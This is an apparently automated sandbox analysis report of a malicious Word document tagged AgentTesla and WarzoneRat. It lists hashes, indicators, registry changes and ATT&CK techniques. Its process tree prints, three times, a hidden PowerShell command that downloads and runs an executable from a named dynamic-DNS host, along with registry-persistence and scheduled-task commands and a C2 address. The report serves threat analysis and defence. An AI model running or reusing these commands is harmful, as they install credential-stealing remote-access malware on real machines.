agenttesla | f415487e104efb2d80000858f7942cd9db73526601066eca5e63d99a50926298

Analysis

max time kernel
148s
max time network
170s
platform
windows7_x64
resource
win7v20210410
submitted
19/07/2021, 17:34

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General

Target
PO for ART IMPEX GROUP LLP.doc
Size 1.0MB
Sample210719-e2q3d2693a
SHA256 f415487e104efb2d80000858f7942cd9db73526601066eca5e63d99a50926298
MD5 35c9dcf7c4a922996d01cd1172e5ee72
SHA1 f04b7261c7209fbca4a6ca7b64d52b24fb0a0bef
SHA512 7b1c68f5aa7bdfc3df156c4813d70c518adf570bfc82f4cbad72a487949303b988c8f355715d78f2d07c67a1a8ad3c3f86ce10dc1dd0eaf649b1b1a28b767900
MD5 SHA1 SHA512

Score

10^/10

agenttesla warzonerat infostealer keylogger persistence rat spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
httP://freebeeskatobi.ydns.eu/obi1.exe

Extracted

Family

warzonerat

dfdgdsasedw.ydns.eu:34566

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1480	2008	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1936	2008	powershell.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1940	2008	powershell.exe	24

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

AgentTesla Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1616-206-0x000000000043777E-mapping.dmp	family_agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1480	powershell.exe
8	1936	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 9 IoCs

pid	Process
1888	obi1.exe
1716	obi1.exe
284	images.exe
1620	obi1.exe
844	images.exe
1652	obi1.exe
1128	obi1.exe
1472	.wBwhHffA.exe
1616	.wBwhHffA.exe

Loads dropped DLL 15 IoCs

pid	Process
1480	powershell.exe
1888	obi1.exe
1716	obi1.exe
1936	powershell.exe
284	images.exe
1620	obi1.exe
1620	obi1.exe
844	images.exe
1472	.wBwhHffA.exe
844	images.exe
844	images.exe
844	images.exe
844	images.exe
844	images.exe
844	images.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Modifies WinLogon 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList	images.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts	images.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\qggdny. = "0"	images.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 1888 set thread context of 1716	1888	obi1.exe	41
PID 284 set thread context of 844	284	images.exe	47
PID 1620 set thread context of 1128	1620	obi1.exe	49
PID 1472 set thread context of 1616	1472	.wBwhHffA.exe	57

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1096	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2008	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1480	powershell.exe
1480	powershell.exe
1940	powershell.exe
1940	powershell.exe
1888	obi1.exe
1888	obi1.exe
1936	powershell.exe
1936	powershell.exe
284	images.exe
284	images.exe
1620	obi1.exe
1620	obi1.exe
1620	obi1.exe
1620	obi1.exe
1620	obi1.exe
1620	obi1.exe
1472	.wBwhHffA.exe
1616	.wBwhHffA.exe
1616	.wBwhHffA.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	1888	obi1.exe
Token: SeDebugPrivilege	1936	powershell.exe
Token: SeDebugPrivilege	284	images.exe
Token: SeDebugPrivilege	1620	obi1.exe
Token: SeDebugPrivilege	1472	.wBwhHffA.exe
Token: SeDebugPrivilege	1616	.wBwhHffA.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2008	WINWORD.EXE
2008	WINWORD.EXE
2008	WINWORD.EXE
2008	WINWORD.EXE
844	images.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1480	2008	WINWORD.EXE	31
PID 2008 wrote to memory of 1480	2008	WINWORD.EXE	31
PID 2008 wrote to memory of 1480	2008	WINWORD.EXE	31
PID 2008 wrote to memory of 1480	2008	WINWORD.EXE	31
PID 2008 wrote to memory of 1936	2008	WINWORD.EXE	33
PID 2008 wrote to memory of 1936	2008	WINWORD.EXE	33
PID 2008 wrote to memory of 1936	2008	WINWORD.EXE	33
PID 2008 wrote to memory of 1936	2008	WINWORD.EXE	33
PID 2008 wrote to memory of 1940	2008	WINWORD.EXE	35
PID 2008 wrote to memory of 1940	2008	WINWORD.EXE	35
PID 2008 wrote to memory of 1940	2008	WINWORD.EXE	35
PID 2008 wrote to memory of 1940	2008	WINWORD.EXE	35
PID 1480 wrote to memory of 1888	1480	powershell.exe	37
PID 1480 wrote to memory of 1888	1480	powershell.exe	37
PID 1480 wrote to memory of 1888	1480	powershell.exe	37
PID 1480 wrote to memory of 1888	1480	powershell.exe	37
PID 2008 wrote to memory of 936	2008	WINWORD.EXE	40
PID 2008 wrote to memory of 936	2008	WINWORD.EXE	40
PID 2008 wrote to memory of 936	2008	WINWORD.EXE	40
PID 2008 wrote to memory of 936	2008	WINWORD.EXE	40
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1888 wrote to memory of 1716	1888	obi1.exe	41
PID 1716 wrote to memory of 1652	1716	obi1.exe	42
PID 1716 wrote to memory of 1652	1716	obi1.exe	42
PID 1716 wrote to memory of 1652	1716	obi1.exe	42
PID 1716 wrote to memory of 1652	1716	obi1.exe	42
PID 1716 wrote to memory of 284	1716	obi1.exe	43
PID 1716 wrote to memory of 284	1716	obi1.exe	43
PID 1716 wrote to memory of 284	1716	obi1.exe	43
PID 1716 wrote to memory of 284	1716	obi1.exe	43
PID 1652 wrote to memory of 1588	1652	cmd.exe	45
PID 1652 wrote to memory of 1588	1652	cmd.exe	45
PID 1652 wrote to memory of 1588	1652	cmd.exe	45
PID 1652 wrote to memory of 1588	1652	cmd.exe	45
PID 1936 wrote to memory of 1620	1936	powershell.exe	46
PID 1936 wrote to memory of 1620	1936	powershell.exe	46
PID 1936 wrote to memory of 1620	1936	powershell.exe	46
PID 1936 wrote to memory of 1620	1936	powershell.exe	46
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 284 wrote to memory of 844	284	images.exe	47
PID 1620 wrote to memory of 1652	1620	obi1.exe	48
PID 1620 wrote to memory of 1652	1620	obi1.exe	48
PID 1620 wrote to memory of 1652	1620	obi1.exe	48
PID 1620 wrote to memory of 1652	1620	obi1.exe	48
PID 1620 wrote to memory of 1128	1620	obi1.exe	49
PID 1620 wrote to memory of 1128	1620	obi1.exe	49

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PO for ART IMPEX GROUP LLP.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://freebeeskatobi.ydns.eu/obi1.exe','C:\Users\Admin\AppData\Roaming\obi1.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi1.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Users\Admin\AppData\Roaming\obi1.exe
    "C:\Users\Admin\AppData\Roaming\obi1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1888
  - - C:\Users\Admin\AppData\Local\Temp\obi1.exe
      C:\Users\Admin\AppData\Local\Temp\obi1.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1716
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1652
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG_SZ /d "C:\ProgramData\images.exe"
        6⤵
        
        PID:1588
    - - C:\ProgramData\images.exe
        
        "C:\ProgramData\images.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:284
      - C:\Users\Admin\AppData\Local\Temp\images.exe
        
        C:\Users\Admin\AppData\Local\Temp\images.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies WinLogon
        Suspicious use of SetWindowsHookEx
        
        PID:844
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe"
        7⤵
        
        PID:1828
        
        C:\Users\Admin\AppData\Roaming\.wBwhHffA.exe
        
        "C:\Users\Admin\AppData\Roaming\.wBwhHffA.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eRUPcn" /XML "C:\Users\Admin\AppData\Local\Temp\tmp80F3.tmp"
        8⤵
        Creates scheduled task(s)
        
        PID:1096
        
        C:\Users\Admin\AppData\Roaming\.wBwhHffA.exe
        
        "{path}"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://freebeeskatobi.ydns.eu/obi1.exe','C:\Users\Admin\AppData\Roaming\obi1.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi1.exe'"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1936
- - C:\Users\Admin\AppData\Roaming\obi1.exe
    "C:\Users\Admin\AppData\Roaming\obi1.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Users\Admin\AppData\Local\Temp\obi1.exe
      C:\Users\Admin\AppData\Local\Temp\obi1.exe
      4⤵
      Executes dropped EXE
      PID:1652
  - - C:\Users\Admin\AppData\Local\Temp\obi1.exe
      C:\Users\Admin\AppData\Local\Temp\obi1.exe
      4⤵
      Executes dropped EXE
      PID:1128
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://freebeeskatobi.ydns.eu/obi1.exe','C:\Users\Admin\AppData\Roaming\obi1.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\obi1.exe'"
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:936

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/284-143-0x0000000001120000-0x0000000001121000-memory.dmp

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memory/284-145-0x0000000000530000-0x0000000000531000-memory.dmp

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memory/284-150-0x0000000000535000-0x0000000000546000-memory.dmp

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memory/844-173-0x0000000000400000-0x000000000055E000-memory.dmp

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memory/844-198-0x0000000003140000-0x0000000003240000-memory.dmp

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memory/844-217-0x0000000004B10000-0x0000000004B94000-memory.dmp

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memory/936-124-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

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memory/1472-199-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

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memory/1480-69-0x0000000004820000-0x0000000004821000-memory.dmp

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memory/1480-67-0x0000000004860000-0x0000000004861000-memory.dmp

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memory/1480-66-0x00000000021F0000-0x00000000021F1000-memory.dmp

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memory/1480-68-0x0000000004750000-0x0000000004751000-memory.dmp

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memory/1480-70-0x0000000004822000-0x0000000004823000-memory.dmp

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memory/1480-71-0x0000000005280000-0x0000000005281000-memory.dmp

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memory/1480-74-0x0000000005650000-0x0000000005651000-memory.dmp

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memory/1480-79-0x0000000005720000-0x0000000005721000-memory.dmp

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memory/1480-80-0x00000000062A0000-0x00000000062A1000-memory.dmp

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memory/1480-89-0x000000007EF30000-0x000000007EF31000-memory.dmp

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memory/1480-92-0x0000000006330000-0x0000000006331000-memory.dmp

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memory/1480-87-0x0000000005820000-0x0000000005821000-memory.dmp

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memory/1616-210-0x00000000047E0000-0x00000000047E1000-memory.dmp

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memory/1620-158-0x0000000000360000-0x0000000000361000-memory.dmp

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memory/1620-160-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

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memory/1620-161-0x0000000004DA5000-0x0000000004DB6000-memory.dmp

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memory/1716-136-0x0000000000400000-0x000000000055E000-memory.dmp

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memory/1716-132-0x0000000000400000-0x000000000055E000-memory.dmp

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memory/1828-197-0x0000000000100000-0x0000000000101000-memory.dmp

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memory/1888-122-0x00000000048D5000-0x00000000048E6000-memory.dmp

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memory/1888-121-0x00000000048D0000-0x00000000048D1000-memory.dmp

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memory/1888-119-0x00000000002E0000-0x00000000002E1000-memory.dmp

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memory/1888-130-0x0000000005EC0000-0x0000000005F27000-memory.dmp

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memory/1888-125-0x00000000008E0000-0x000000000092E000-memory.dmp

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memory/1936-147-0x0000000004A30000-0x0000000004A31000-memory.dmp

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memory/1936-149-0x0000000004950000-0x0000000004951000-memory.dmp

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memory/1936-148-0x0000000004780000-0x0000000004781000-memory.dmp

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memory/1936-153-0x0000000006410000-0x0000000006411000-memory.dmp

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memory/1936-151-0x00000000047D2000-0x00000000047D3000-memory.dmp

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memory/1936-101-0x00000000047D0000-0x00000000047D1000-memory.dmp

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memory/1936-152-0x0000000006130000-0x0000000006131000-memory.dmp

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memory/1940-102-0x0000000001E50000-0x0000000002A9A000-memory.dmp

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memory/2008-60-0x0000000072FC1000-0x0000000072FC4000-memory.dmp

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memory/2008-63-0x00000000765F1000-0x00000000765F3000-memory.dmp

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memory/2008-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

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memory/2008-61-0x0000000070A41000-0x0000000070A43000-memory.dmp

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